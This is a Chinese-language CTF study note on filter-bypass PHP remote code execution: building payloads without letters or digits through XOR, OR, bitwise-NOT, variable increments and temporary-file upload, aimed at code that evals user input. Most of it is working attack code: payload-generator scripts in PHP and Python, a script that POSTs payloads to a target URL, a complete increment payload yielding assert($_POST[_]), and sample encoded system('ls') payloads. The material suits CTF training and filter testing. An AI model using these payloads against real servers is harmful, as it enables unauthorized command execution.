。知识
1.1 介绍
无数字字母rce,就和他的名字一样,就是不利用字母和数字构造webshell,从而绕过对方的过滤
手段。
对于无数字字母rce可以处理的过滤手段如下
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("hacker!");
}
@eval($code);
?>
很明显,在这个程序中,数字和字符全部被过滤掉了,便排除了原来的手段。
无数字字母rce的原理是什么呢,是利用各种非数字字母字符,经过各种变换,比如异或,取反,
自增,构造成单个字母字符,然后把单个字母字符拼接成原构造的payload
2.1 上脚本
重点注意:
- 很神奇的是
- 下面的脚本,如果是可以改动正则表达式的
- 如果你再正则表达式里没有加上数字和字母的过滤,你做不出来
题目例子
<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){
die('hacker');
}
eval($code);
我们下面以命令system('ls')
为例
(1) 异或–Successfully reproduced
先运行php代码,再运行python脚本
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
运行结果
[+] your function:system
[+] your command:ls
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
(2) 或–Successfully reproduced
① 手动挡–手动传参
原理是一样的,只需要在上面的脚本上稍加改动即可
<?php
/* author yu22x */
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("or_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
运行结果
[+] your function:system
[+] your command:ls
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");
② 自动挡–python传参
php
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
python
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
(3) 取反–Successfully reproduced
因为取反的话,基本上用的都是一个不可见字符,所有不会触发到正则表达式,我们一个php脚本就可以了
<?php
//在命令行中运行
/*author yu22x*/
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
运行结果
[+]your function: system
[+]your command: ls
[*] (~%8C%86%8C%8B%9A%92)(~%93%8C);
(4) 自增–Reproduction failure
//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入 _=phpinfo();
(5) 上传临时文件–Successfully reproduced
system
burpsuit
看链接
脚本
#多尝试几次:最后一位可能不是大写字母
#注意:创造循环失败了
import requests
url="http://9e663758-139f-4313-bee5-18323f84f4a9.challenge.ctf.show/?c=. /???/????????[@-[]"
files={'file':'ls'}
response=requests.post(url,files=files)
html = response.text
print(html)
正常传参
脚本:
#多尝试几次:最后一位可能不是大写字母
#注意:创造循环失败了
import requests
url="http://xxx/test.php?c=?><?=`. /???/????????[@-[]`;?>"
files={'file':'ls'}
response=requests.post(url,files=files)
html = response.text
print(html)
。 参考
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
。例题
rce去看